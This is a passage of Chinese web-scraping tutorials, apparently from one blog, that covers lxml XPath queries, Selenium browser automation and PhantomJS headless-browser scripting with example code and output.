    不仅补全了 li 标签,还添加了 body,html 标签。

    文件读取

    除了直接读取字符串,还支持从文件读取内容。比如我们新建一个文件叫做 hello.html,内容为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <div>
    <ul>
    <li class="item-0"><a href="link1.html">first item</a></li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-inactive"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    </ul>
    </div>

    利用 parse 方法来读取文件。

    1
    2
    3
    4
    from lxml import etree
    html = etree.parse('hello.html')
    result = etree.tostring(html, pretty_print=True)
    print(result)

    同样可以得到相同的结果。

    XPath实例测试

    依然以上一段程序为例 (1)获取所有的

  • 标签

    1
    2
    3
    4
    5
    6
    7
    8
    from lxml import etree
    html = etree.parse('hello.html')
    print type(html)
    result = html.xpath('//li')
    print result
    print len(result)
    print type(result)
    print type(result[0])

    运行结果

    1
    2
    3
    4
    5
    <type 'lxml.etree._ElementTree'>
    [<Element li at 0x1014e0e18>, <Element li at 0x1014e0ef0>, <Element li at 0x1014e0f38>, <Element li at 0x1014e0f80>, <Element li at 0x1014e0fc8>]
    5
    <type 'list'>
    <type 'lxml.etree._Element'>

    可见,etree.parse 的类型是 ElementTree,通过调用 xpath 以后,得到了一个列表,包含了 5 个

  • 元素,每个元素都是 Element 类型 (2)获取
  • 标签的所有 class

    1
    2
    result = html.xpath('//li/@class')
    print result

    运行结果

    1
    ['item-0', 'item-1', 'item-inactive', 'item-1', 'item-0']

    (3)获取

  • 标签下 href 为 link1.html 的 标签

    1
    2
    result = html.xpath('//li/a[@href="link1.html"]')
    print result

    运行结果

    1
    [<Element a at 0x10ffaae18>]

    (4)获取

  • 标签下的所有 标签 注意这么写是不对的

    1
    result = html.xpath('//li/span')

    因为 / 是用来获取子元素的,而 并不是

  • 的子元素,所以,要用双斜杠

    1
    2
    result = html.xpath('//li//span')
    print result

    运行结果

    1
    [<Element span at 0x10d698e18>]

    (5)获取

  • 标签下的所有 class,不包括
  • 1
    2
    result = html.xpath('//li/a//@class')
    print result

    运行结果

    1
    ['blod']

    (6)获取最后一个

  • 的 href

    1
    2
    result = html.xpath('//li[last()]/a/@href')
    print result

    运行结果

    1
    ['link5.html']

    (7)获取倒数第二个元素的内容

    1
    2
    result = html.xpath('//li[last()-1]/a')
    print result[0].text

    运行结果

    1
    fourth item

    (8)获取 class 为 bold 的标签名

    1
    2
    result = html.xpath('//*[@class="bold"]')
    print result[0].tag

    运行结果

    1
    span

    通过以上实例的练习,相信大家对 XPath 的基本用法有了基本的了解。也可以利用 text 方法来获取元素的内容。 大家多加练习!

    结语

    XPath 是一个非常好用的解析方法,同时也作为爬虫学习的基础,在后面的 selenium 以及 scrapy 框架中都会涉及到这部分知识,希望大家可以把它的语法掌握清楚,为后面的深入研究做好铺垫。

  • Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    前言

    在上一节我们学习了 PhantomJS 的基本用法,归根结底它是一个没有界面的浏览器,而且运行的是 JavaScript 脚本,然而这就能写爬虫了吗?这又和Python有什么关系?说好的Python爬虫呢?库都学完了你给我看这个?客官别急,接下来我们介绍的这个工具,统统解决掉你的疑惑。

    简介

    Selenium 是什么?一句话,自动化测试工具。它支持各种浏览器,包括 Chrome,Safari,Firefox 等主流界面式浏览器,如果你在这些浏览器里面安装一个 Selenium 的插件,那么便可以方便地实现Web界面的测试。换句话说叫 Selenium 支持这些浏览器驱动。话说回来,PhantomJS不也是一个浏览器吗,那么 Selenium 支持不?答案是肯定的,这样二者便可以实现无缝对接了。 然后又有什么好消息呢?Selenium支持多种语言开发,比如 Java,C,Ruby等等,有 Python 吗?那是必须的!哦这可真是天大的好消息啊。 嗯,所以呢?安装一下 Python 的 Selenium 库,再安装好 PhantomJS,不就可以实现 Python+Selenium+PhantomJS 的无缝对接了嘛!PhantomJS 用来渲染解析JS,Selenium 用来驱动以及与 Python 的对接,Python 进行后期的处理,完美的三剑客! 有人问,为什么不直接用浏览器而用一个没界面的 PhantomJS 呢?答案是:效率高! Selenium 有两个版本,目前最新版本是 2.53.1(2016/3/22)

    Selenium 2,又名 WebDriver,它的主要新功能是集成了 Selenium 1.0 以及 WebDriver(WebDriver 曾经是 Selenium 的竞争对手)。也就是说 Selenium 2 是 Selenium 和 WebDriver 两个项目的合并,即 Selenium 2 兼容 Selenium,它既支持 Selenium API 也支持 WebDriver API。

    更多详情可以查看 Webdriver 的简介。 Webdriver 嗯,通过以上描述,我们应该对 Selenium 有了大概对认识,接下来就让我们开始进入动态爬取的新世界吧。 本文参考内容来自 Selenium官网 SeleniumPython文档

    安装

    首先安装 Selenium

    1
    pip install selenium

    或者下载源码 下载源码 然后解压后运行下面的命令进行安装

    1
    python setup.py install

    安装好了之后我们便开始探索抓取方法了。

    快速开始

    初步体验

    我们先来一个小例子感受一下 Selenium,这里我们用 Chrome 浏览器来测试,方便查看效果,到真正爬取的时候换回 PhantomJS 即可。

    1
    2
    3
    4
    from selenium import webdriver

    browser = webdriver.Chrome()
    browser.get('http://www.baidu.com/')

    运行这段代码,会自动打开浏览器,然后访问百度。 如果程序执行错误,浏览器没有打开,那么应该是没有装 Chrome 浏览器或者 Chrome 驱动没有配置在环境变量里。下载驱动,然后将驱动文件路径配置在环境变量即可。 浏览器驱动下载 比如我的是 Mac OS,就把下载好的文件放在 /usr/bin 目录下就可以了。

    模拟提交

    下面的代码实现了模拟提交提交搜索的功能,首先等页面加载完成,然后输入到搜索框文本,点击提交。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from selenium import webdriver
    from selenium.webdriver.common.keys import Keys

    driver = webdriver.Chrome()
    driver.get("http://www.python.org")
    assert "Python" in driver.title
    elem = driver.find_element_by_name("q")
    elem.send_keys("pycon")
    elem.send_keys(Keys.RETURN)
    print driver.page_source

    同样是在 Chrome 里面测试,感受一下。

    The driver.get method will navigate to a page given by the URL. WebDriver will wait until the page has fully loaded (that is, the “onload” event has fired) before returning control to your test or script. It’s worth noting that if your page uses a lot of AJAX on load then WebDriver may not know when it has completely loaded.

    其中 driver.get 方法会打开请求的URL,WebDriver 会等待页面完全加载完成之后才会返回,即程序会等待页面的所有内容加载完成,JS渲染完毕之后才继续往下执行。注意:如果这里用到了特别多的 Ajax 的话,程序可能不知道是否已经完全加载完毕。

    WebDriver offers a number of ways to find elements using one of the findelement_by* methods. For example, the input text element can be located by its name attribute using find_element_by_name method

    WebDriver 提供了许多寻找网页元素的方法,譬如 findelement_by* 的方法。例如一个输入框可以通过 find_element_by_name 方法寻找 name 属性来确定。

    Next we are sending keys, this is similar to entering keys using your keyboard. Special keys can be send using Keys class imported from selenium.webdriver.common.keys

    然后我们输入来文本然后模拟点击了回车,就像我们敲击键盘一样。我们可以利用 Keys 这个类来模拟键盘输入。 最后最重要的一点 获取网页渲染后的源代码。 输出 page_source 属性即可。 这样,我们就可以做到网页的动态爬取了。

    测试用例

    有了以上特性,我们当然可以用来写测试样例了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    import unittest
    from selenium import webdriver
    from selenium.webdriver.common.keys import Keys

    class PythonOrgSearch(unittest.TestCase):

    def setUp(self):
    self.driver = webdriver.Chrome()

    def test_search_in_python_org(self):
    driver = self.driver
    driver.get("http://www.python.org")
    self.assertIn("Python", driver.title)
    elem = driver.find_element_by_name("q")
    elem.send_keys("pycon")
    elem.send_keys(Keys.RETURN)
    assert "No results found." not in driver.page_source

    def tearDown(self):
    self.driver.close()

    if __name__ == "__main__":
    unittest.main()

    运行程序,同样的功能,我们将其封装为测试标准类的形式。

    The test case class is inherited from unittest.TestCase. Inheriting from TestCase class is the way to tell unittest module that this is a test case. The setUp is part of initialization, this method will get called before every test function which you are going to write in this test case class. The test case method should always start with characters test. The tearDown method will get called after every test method. This is a place to do all cleanup actions. You can also call quit method instead of close. The quit will exit the entire browser, whereas close will close a tab, but if it is the only tab opened, by default most browser will exit entirely.

    测试用例是继承了 unittest.TestCase 类,继承这个类表明这是一个测试类。setUp方法是初始化的方法,这个方法会在每个测试类中自动调用。每一个测试方法命名都有规范,必须以 test 开头,会自动执行。最后的 tearDown 方法会在每一个测试方法结束之后调用。这相当于最后的析构方法。在这个方法里写的是 close 方法,你还可以写 quit 方法。不过 close 方法相当于关闭了这个 TAB 选项卡,然而 quit 是退出了整个浏览器。当你只开启了一个 TAB 选项卡的时候,关闭的时候也会将整个浏览器关闭。

    页面操作

    页面交互

    仅仅抓取页面没有多大卵用,我们真正要做的是做到和页面交互,比如点击,输入等等。那么前提就是要找到页面中的元素。WebDriver提供了各种方法来寻找元素。例如下面有一个表单输入框。

    1
    <input type="text" name="passwd" id="passwd-id" />

    我们可以这样获取它

    1
    2
    3
    4
    element = driver.find_element_by_id("passwd-id")
    element = driver.find_element_by_name("passwd")
    element = driver.find_elements_by_tag_name("input")
    element = driver.find_element_by_xpath("//input[@id='passwd-id']")

    你还可以通过它的文本链接来获取,但是要小心,文本必须完全匹配才可以,所以这并不是一个很好的匹配方式。 而且你在用 xpath 的时候还需要注意的是,如果有多个元素匹配了 xpath,它只会返回第一个匹配的元素。如果没有找到,那么会抛出 NoSuchElementException 的异常。 获取了元素之后,下一步当然就是向文本输入内容了,可以利用下面的方法

    1
    element.send_keys("some text")

    同样你还可以利用 Keys 这个类来模拟点击某个按键。

    1
    element.send_keys("and some", Keys.ARROW_DOWN)

    你可以对任何获取到到元素使用 send_keys 方法,就像你在 GMail 里面点击发送键一样。不过这样会导致的结果就是输入的文本不会自动清除。所以输入的文本都会在原来的基础上继续输入。你可以用下面的方法来清除输入文本的内容。

    1
    element.clear()

    这样输入的文本会被清除。

    填充表单

    我们已经知道了怎样向文本框中输入文字,但是其它的表单元素呢?例如下拉选项卡的的处理可以如下

    1
    2
    3
    4
    5
    element = driver.find_element_by_xpath("//select[@name='name']")
    all_options = element.find_elements_by_tag_name("option")
    for option in all_options:
    print("Value is: %s" % option.get_attribute("value"))
    option.click()

    首先获取了第一个 select 元素,也就是下拉选项卡。然后轮流设置了 select 选项卡中的每一个 option 选项。你可以看到,这并不是一个非常有效的方法。 其实 WebDriver 中提供了一个叫 Select 的方法,可以帮助我们完成这些事情。

    1
    2
    3
    4
    5
    from selenium.webdriver.support.ui import Select
    select = Select(driver.find_element_by_name('name'))
    select.select_by_index(index)
    select.select_by_visible_text("text")
    select.select_by_value(value)

    如你所见,它可以根据索引来选择,可以根据值来选择,可以根据文字来选择。是十分方便的。 全部取消选择怎么办呢?很简单

    1
    2
    select = Select(driver.find_element_by_id('id'))
    select.deselect_all()

    这样便可以取消所有的选择。 另外我们还可以通过下面的方法获取所有的已选选项。

    1
    2
    select = Select(driver.find_element_by_xpath("xpath"))
    all_selected_options = select.all_selected_options

    获取所有可选选项是

    1
    options = select.options

    如果你把表单都填好了,最后肯定要提交表单对吧。怎吗提交呢?很简单

    1
    driver.find_element_by_id("submit").click()

    这样就相当于模拟点击了 submit 按钮,做到表单提交。 当然你也可以单独提交某个元素

    1
    element.submit()

    方法,WebDriver 会在表单中寻找它所在的表单,如果发现这个元素并没有被表单所包围,那么程序会抛出 NoSuchElementException 的异常。

    元素拖拽

    要完成元素的拖拽,首先你需要指定被拖动的元素和拖动目标元素,然后利用 ActionChains 类来实现。

    1
    2
    3
    4
    5
    6
    element = driver.find_element_by_name("source")
    target = driver.find_element_by_name("target")

    from selenium.webdriver import ActionChains
    action_chains = ActionChains(driver)
    action_chains.drag_and_drop(element, target).perform()

    这样就实现了元素从 source 拖动到 target 的操作。

    页面切换

    一个浏览器肯定会有很多窗口,所以我们肯定要有方法来实现窗口的切换。切换窗口的方法如下

    1
    driver.switch_to_window("windowName")

    另外你可以使用 window_handles 方法来获取每个窗口的操作对象。例如

    1
    2
    for handle in driver.window_handles:
    driver.switch_to_window(handle)

    另外切换 frame 的方法如下

    1
    driver.switch_to_frame("frameName.0.child")

    这样焦点会切换到一个 name 为 child 的 frame 上。

    弹窗处理

    当你出发了某个事件之后,页面出现了弹窗提示,那么你怎样来处理这个提示或者获取提示信息呢?

    1
    alert = driver.switch_to_alert()

    通过上述方法可以获取弹窗对象。

    历史记录

    那么怎样来操作页面的前进和后退功能呢?

    1
    2
    driver.forward()
    driver.back()

    嗯,简洁明了。

    Cookies处理

    为页面添加 Cookies,用法如下

    1
    2
    3
    4
    5
    6
    # Go to the correct domain
    driver.get("http://www.example.com")

    # Now set the cookie. This one's valid for the entire domain
    cookie = {‘name’ : ‘foo’, ‘value’ : ‘bar’}
    driver.add_cookie(cookie)

    获取页面 Cookies,用法如下

    1
    2
    3
    4
    5
    # Go to the correct domain
    driver.get("http://www.example.com")

    # And now output all the available cookies for the current URL
    driver.get_cookies()

    以上便是 Cookies 的处理,同样是非常简单的。

    元素选取

    关于元素的选取,有如下的API 单个元素选取

    • find_element_by_id
    • find_element_by_name
    • find_element_by_xpath
    • find_element_by_link_text
    • find_element_by_partial_link_text
    • find_element_by_tag_name
    • find_element_by_class_name
    • find_element_by_css_selector

    多个元素选取

    • find_elements_by_name
    • find_elements_by_xpath
    • find_elements_by_link_text
    • find_elements_by_partial_link_text
    • find_elements_by_tag_name
    • find_elements_by_class_name
    • find_elements_by_css_selector

    另外还可以利用 By 类来确定哪种选择方式

    1
    2
    3
    4
    from selenium.webdriver.common.by import By

    driver.find_element(By.XPATH, '//button[text()="Some text"]')
    driver.find_elements(By.XPATH, '//button')

    By 类的一些属性如下

    1
    2
    3
    4
    5
    6
    7
    8
    ID = "id"
    XPATH = "xpath"
    LINK_TEXT = "link text"
    PARTIAL_LINK_TEXT = "partial link text"
    NAME = "name"
    TAG_NAME = "tag name"
    CLASS_NAME = "class name"
    CSS_SELECTOR = "css selector"

    更详细的元素选择方法参见官方文档 元素选择

    页面等待

    这是非常重要的一部分,现在的网页越来越多采用了 Ajax 技术,这样程序便不能确定何时某个元素完全加载出来了。这会让元素定位困难而且会提高产生 ElementNotVisibleException 的概率。 所以 Selenium 提供了两种等待方式,一种是隐式等待,一种是显式等待。 隐式等待是等待特定的时间,显式等待是指定某一条件直到这个条件成立时继续执行。

    显式等待

    显式等待指定某个条件,然后设置最长等待时间。如果在这个时间还没有找到元素,那么便会抛出异常了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    from selenium import webdriver
    from selenium.webdriver.common.by import By
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC

    driver = webdriver.Chrome()
    driver.get("http://somedomain/url_that_delays_loading")
    try:
    element = WebDriverWait(driver, 10).until(
    EC.presence_of_element_located((By.ID, "myDynamicElement"))
    )
    finally:
    driver.quit()

    程序默认会 500ms 调用一次来查看元素是否已经生成,如果本来元素就是存在的,那么会立即返回。 下面是一些内置的等待条件,你可以直接调用这些条件,而不用自己写某些等待条件了。

    • title_is
    • title_contains
    • presence_of_element_located
    • visibility_of_element_located
    • visibility_of
    • presence_of_all_elements_located
    • text_to_be_present_in_element
    • text_to_be_present_in_element_value
    • frame_to_be_available_and_switch_to_it
    • invisibility_of_element_located
    • element_to_be_clickable - it is Displayed and Enabled.
    • staleness_of
    • element_to_be_selected
    • element_located_to_be_selected
    • element_selection_state_to_be
    • element_located_selection_state_to_be
    • alert_is_present
    1
    2
    3
    4
    from selenium.webdriver.support import expected_conditions as EC

    wait = WebDriverWait(driver, 10)
    element = wait.until(EC.element_to_be_clickable((By.ID,'someid')))

    隐式等待

    隐式等待比较简单,就是简单地设置一个等待时间,单位为秒。

    1
    2
    3
    4
    5
    6
    from selenium import webdriver

    driver = webdriver.Chrome()
    driver.implicitly_wait(10) # seconds
    driver.get("http://somedomain/url_that_delays_loading")
    myDynamicElement = driver.find_element_by_id("myDynamicElement")

    当然如果不设置,默认等待时间为0。

    程序框架

    对于页面测试和分析,官方提供了一个比较明晰的代码结构,可以参考。 页面测试架构

    API

    到最后,肯定是放松最全最重要的API了,比较多,希望大家可以多加练习。 API

    结语

    以上就是 Selenium 的基本用法,我们讲解了页面交互,页面渲染之后的源代码的获取。这样,即使页面是 JS 渲染而成的,我们也可以手到擒来了。就是这么溜!

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    前言

    大家有没有发现之前我们写的爬虫都有一个共性,就是只能爬取单纯的 html 代码,如果页面是 JS 渲染的该怎么办呢?如果我们单纯去分析一个个后台的请求,手动去摸索 JS 渲染的到的一些结果,那简直没天理了。所以,我们需要有一些好用的工具来帮助我们像浏览器一样渲染 JS 处理的页面。 其中有一个比较常用的工具,那就是 PhantomJS

    Full web stack No browser required

    PhantomJS is a headless WebKit scriptable with a JavaScript API. It has fast andnative support for various web standards: DOM handling, CSS selector, JSON, Canvas, and SVG.

    PhantomJS 是一个无界面的,可脚本编程的 WebKit 浏览器引擎。它原生支持多种 web 标准:DOM 操作,CSS 选择器,JSON,Canvas 以及 SVG。 好,接下来我们就一起来了解一下这个神奇好用的库的用法吧。

    安装

    PhantomJS 安装方法有两种,一种是下载源码之后自己来编译,另一种是直接下载编译好的二进制文件。然而自己编译需要的时间太长,而且需要挺多的磁盘空间。官方推荐直接下载二进制文件然后安装。 大家可以依照自己的开发平台选择不同的包进行下载 下载地址 当然如果你不嫌麻烦,可以选择 下载源码 然后自己编译。 目前(2016/3/21)最新发行版本是 v2.1, 安装完成之后命令行输入

    1
    phantomjs -v

    如果正常显示版本号,那么证明安装成功了。如果提示错误,那么请重新安装。 本文介绍大部分内容来自于官方文档,博主对其进行了整理,学习更多请参考 官方文档

    快速开始

    第一个程序

    第一个程序当然是 Hello World,新建一个 js 文件。命名为 helloworld.js

    1
    2
    console.log('Hello, world!');
    phantom.exit();

    命令行输入

    1
    phantomjs helloworld.js

    程序输出了 Hello,world!程序第二句话终止了 phantom 的执行。 注意:phantom.exit();这句话非常重要,否则程序将永远不会终止。

    页面加载

    可以利用 phantom 来实现页面的加载,下面的例子实现了页面的加载并将页面保存为一张图片。

    1
    2
    3
    4
    5
    6
    7
    8
    var page = require('webpage').create();
    page.open('http://cuiqingcai.com', function (status) {
    console.log("Status: " + status);
    if (status === "success") {
    page.render('example.png');
    }
    phantom.exit();
    });

    首先创建了一个 webpage 对象,然后加载本站点主页,判断响应状态,如果成功,那么保存截图为 example.png 以上代码命名为 pageload.js,命令行

    1
    phantomjs pageload.js

    发现执行成功,然后目录下多了一张图片,example.png example 因为这个 render 方法,phantom 经常会用到网页截图的功能。

    测试页面加载速度

    下面这个例子计算了一个页面的加载速度,同时还用到了命令行传参的特性。新建文件保存为 loadspeed.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    var page = require('webpage').create(),
    system = require('system'),
    t, address;

    if (system.args.length === 1) {
    console.log('Usage: loadspeed.js <some URL>');
    phantom.exit();
    }

    t = Date.now();
    address = system.args[1];
    page.open(address, function(status) {
    if (status !== 'success') {
    console.log('FAIL to load the address');
    } else {
    t = Date.now() - t;
    console.log('Loading ' + system.args[1]);
    console.log('Loading time ' + t + ' msec');
    }
    phantom.exit();
    });

    程序判断了参数的多少,如果参数不够,那么终止运行。然后记录了打开页面的时间,请求页面之后,再纪录当前时间,二者之差就是页面加载速度。

    1
    phantomjs loadspeed.js http://cuiqingcai.com

    运行结果

    1
    2
    Loading http://cuiqingcai.com
    Loading time 11678 msec

    这个时间包括 JS 渲染的时间,当然和网速也有关。

    代码评估

    To evaluate JavaScript code in the context of the web page, use evaluate() function. The execution is “sandboxed”, there is no way for the code to access any JavaScript objects and variables outside its own page context. An object can be returned from evaluate(), however it is limited to simple objects and can’t contain functions or closures.

    利用 evaluate 方法我们可以获取网页的源代码。这个执行是“沙盒式”的,它不会去执行网页外的 JavaScript 代码。evalute 方法可以返回一个对象,然而返回值仅限于对象,不能包含函数(或闭包)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var url = 'http://www.baidu.com';
    var page = require('webpage').create();
    page.open(url, function(status) {
    var title = page.evaluate(function() {
    return document.title;
    });
    console.log('Page title is ' + title);
    phantom.exit();
    });

    以上代码获取了百度的网站标题。

    1
    Page title is 百度一下,你就知道

    任何来自于网页并且包括来自 evaluate() 内部代码的控制台信息,默认不会显示。 需要重写这个行为,使用 onConsoleMessage 回调函数,示例可以改写成

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    var url = 'http://www.baidu.com';
    var page = require('webpage').create();
    page.onConsoleMessage = function (msg) {
    console.log(msg);
    };
    page.open(url, function (status) {
    page.evaluate(function () {
    console.log(document.title);
    });
    phantom.exit();
    });

    这样的话,如果你用浏览器打开百度首页,打开调试工具的 console,可以看到控制台输出信息。 重写了 onConsoleMessage 方法之后,可以发现控制台输出的结果和我们需要输出的标题都打印出来了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    一张网页,要经历怎样的过程,才能抵达用户面前?
    一位新人,要经历怎样的成长,才能站在技术之巅?
    探寻这里的秘密;
    体验这里的挑战;
    成为这里的主人;
    加入百度,加入网页搜索,你,可以影响世界。

    请将简历发送至 %c ps_recruiter@baidu.com( 邮件标题请以“姓名-应聘XX职位-来自console”命名) color:red
    职位介绍:http://dwz.cn/hr2013
    百度一下,你就知道

    啊,我没有在为百度打广告!

    屏幕捕获

    Since PhantomJS is using WebKit, a real layout and rendering engine, it can capture a web page as a screenshot. Because PhantomJS can render anything on the web page, it can be used to convert contents not only in HTML and CSS, but also SVG and Canvas.

    因为 PhantomJS 使用了 WebKit 内核,是一个真正的布局和渲染引擎,它可以像屏幕截图一样捕获一个 web 界面。因为它可以渲染网页中的人和元素,所以它不仅用到 HTML,CSS 的内容转化,还用在 SVG,Canvas。可见其功能是相当强大的。 下面的例子就捕获了 github 网页的截图。上文有类似内容,不再演示。

    1
    2
    3
    4
    5
    var page = require('webpage').create();
    page.open('http://github.com/', function() {
    page.render('github.png');
    phantom.exit();
    });

    除了 png 格式的转换,PhantomJS 还支持 jpg,gif,pdf 等格式。 测试样例 其中最重要的方法便是 viewportSize 和 clipRect 属性。 viewportSize 是视区的大小,你可以理解为你打开了一个浏览器,然后把浏览器窗口拖到了多大。 clipRect 是裁切矩形的大小,需要四个参数,前两个是基准点,后两个参数是宽高。 通过下面的小例子感受一下。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    var page = require('webpage').create();
    //viewportSize being the actual size of the headless browser
    page.viewportSize = { width: 1024, height: 768 };
    //the clipRect is the portion of the page you are taking a screenshot of
    page.clipRect = { top: 0, left: 0, width: 1024, height: 768 };
    //the rest of the code is the same as the previous example
    page.open('http://cuiqingcai.com/', function() {
    page.render('germy.png');
    phantom.exit();
    });

    运行结果 germy 就相当于把浏览器窗口拖到了 1024x768 大小,然后从左上角裁切出了 1024x768 的页面。

    网络监听

    Because PhantomJS permits the inspection of network traffic, it is suitable to build various analysis on the network behavior and performance.

    因为 PhantomJS 有网络通信的检查功能,它也很适合用来做网络行为的分析。

    When a page requests a resource from a remote server, both the request and the response can be tracked via onResourceRequested and onResourceReceived callback.

    当接受到请求时,可以通过改写 onResourceRequested 和 onResourceReceived 回调函数来实现接收到资源请求和资源接受完毕的监听。例如

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var url = 'http://www.cuiqingcai.com';
    var page = require('webpage').create();
    page.onResourceRequested = function(request) {
    console.log('Request ' + JSON.stringify(request, undefined, 4));
    };
    page.onResourceReceived = function(response) {
    console.log('Receive ' + JSON.stringify(response, undefined, 4));
    };
    page.open(url);

    运行结果会打印出所有资源的请求和接收状态,以 JSON 格式输出。

    页面自动化处理

    Because PhantomJS can load and manipulate a web page, it is perfect to carry out various page automations.

    因为 PhantomJS 可以加载和操作一个 web 页面,所以用来自动化处理也是非常适合的。

    DOM 操作

    Since the script is executed as if it is running on a web browser, standard DOM scripting and CSS selectors work just fine.

    脚本都是像在浏览器中运行的,所以标准的 JavaScript 的 DOM 操作和 CSS 选择器也是生效的。 例如下面的例子就修改了 User-Agent,然后还返回了页面中某元素的内容。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    var page = require('webpage').create();
    console.log('The default user agent is ' + page.settings.userAgent);
    page.settings.userAgent = 'SpecialAgent';
    page.open('http://www.httpuseragent.org', function(status) {
    if (status !== 'success') {
    console.log('Unable to access network');
    } else {
    var ua = page.evaluate(function() {
    return document.getElementById('myagent').textContent;
    });
    console.log(ua);
    }
    phantom.exit();
    });

    运行结果

    1
    2
    The default user agent is Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.0 Safari/538.1
    Your Http User Agent string is: SpecialAgent

    首先打印出了默认的 User-Agent,然后通过修改它,请求验证 User-Agent 的一个站点,通过选择器得到了修改后的 User-Agent。

    使用附加库

    在 1.6 版本之后允许添加外部的 JS 库,比如下面的例子添加了 jQuery,然后执行了 jQuery 代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var page = require('webpage').create();
    page.open('http://www.sample.com', function() {
    page.includeJs("http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js", function() {
    page.evaluate(function() {
    $("button").click();
    });
    phantom.exit()
    });
    });

    引用了 jQuery 之后,我们便可以在下面写一些 jQuery 代码了。

    Webpage 对象

    在前面我们介绍了 webpage 对象的几个方法和属性,其实它本身还有其它很多的属性。具体的内容可以参考 Webpage Webpage 用例 里面介绍了 webpage 的所有属性,方法,回调。

    命令行

    Command-line Options PhantomJS 提供的命令行选项有:

    --help or -h lists all possible command-line options. Halts immediately, will not run a script passed as argument. [帮助列表] —version or -v prints out the version of PhantomJS. Halts immediately, will not run a script passed as argument. [查看版本] —cookies-file=/path/to/cookies.txt specifies the file name to store the persistent Cookies. [指定存放 cookies 的路径] —disk-cache=[true|false] enables disk cache (at desktop services cache storage location, default is false). Also accepted: [yes|no]. [硬盘缓存开关,默认为关] —ignore-ssl-errors=[true|false] ignores SSL errors, such as expired or self-signed certificate errors (default is false). Also accepted: [yes|no]. [忽略 ssl 错误,默认不忽略] —load-images=[true|false] load all inlined images (default is true). Also accepted: [yes|no]. [加载图片,默认为加载] —local-storage-path=/some/path path to save LocalStorage content and WebSQL content. [本地存储路径,如本地文件和 SQL 文件等] —local-storage-quota=number maximum size to allow for data. [本地文件最大大小] —local-to-remote-url-access=[true|false] allows local content to access remote URL (default is false). Also accepted: [yes|no]. [是否允许远程加载文件,默认不允许] —max-disk-cache-size=size limits the size of disk cache (in KB). [最大缓存空间] —output-encoding=encoding sets the encoding used for terminal output (default is utf8). [默认输出编码,默认 utf8] —remote-debugger-port starts the script in a debug harness and listens on the specified port [远程调试端口] —remote-debugger-autorun runs the script in the debugger immediately: ‘yes’ or ‘no’ (default) [在调试环境下是否立即执行脚本,默认否] —proxy=address:port specifies the proxy server to use (e.g. —proxy=192.168.1.42:8080). [代理] —proxy-type=[http|socks5|none] specifies the type of the proxy server (default is http). [代理类型,默认 http] —proxy-auth specifies the authentication information for the proxy, e.g. —proxy-auth=username:password). [代理认证] —script-encoding=encoding sets the encoding used for the starting script (default is utf8). [脚本编码,默认 utf8] —ssl-protocol=[sslv3|sslv2|tlsv1|any’] sets the SSL protocol for secure connections (default is SSLv3). [SSL 协议,默认 SSLv3] —ssl-certificates-path= Sets the location for custom CA certificates (if none set, uses system default). [SSL 证书路径,默认系统默认路径] —web-security=[true|false] enables web security and forbids cross-domain XHR (default is true). Also accepted: [yes|no]. [是否开启安全保护和禁止异站 Ajax,默认开启保护] —webdriver starts in ‘Remote WebDriver mode’ (embedded GhostDriver): ‘[[:]]’ (default ‘127.0.0.1:8910’) [以远程 WebDriver 模式启动] —webdriver-selenium-grid-hub URL to the Selenium Grid HUB: ‘URLTOHUB’ (default ‘none’) (NOTE: works only together with ‘—webdriver’) [Selenium 接口] —config=/path/to/config.json can utilize a JavaScript Object Notation (JSON) configuration file instead of passing in multiple command-line optionss [所有的命令行配置从 config.json 中读取]

    注:JSON 文件配置格式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    {
    /* Same as: --ignore-ssl-errors=true */
    "ignoreSslErrors": true,

    /* Same as: --max-disk-cache-size=1000 */
    "maxDiskCacheSize": 1000,

    /* Same as: --output-encoding=utf8 */
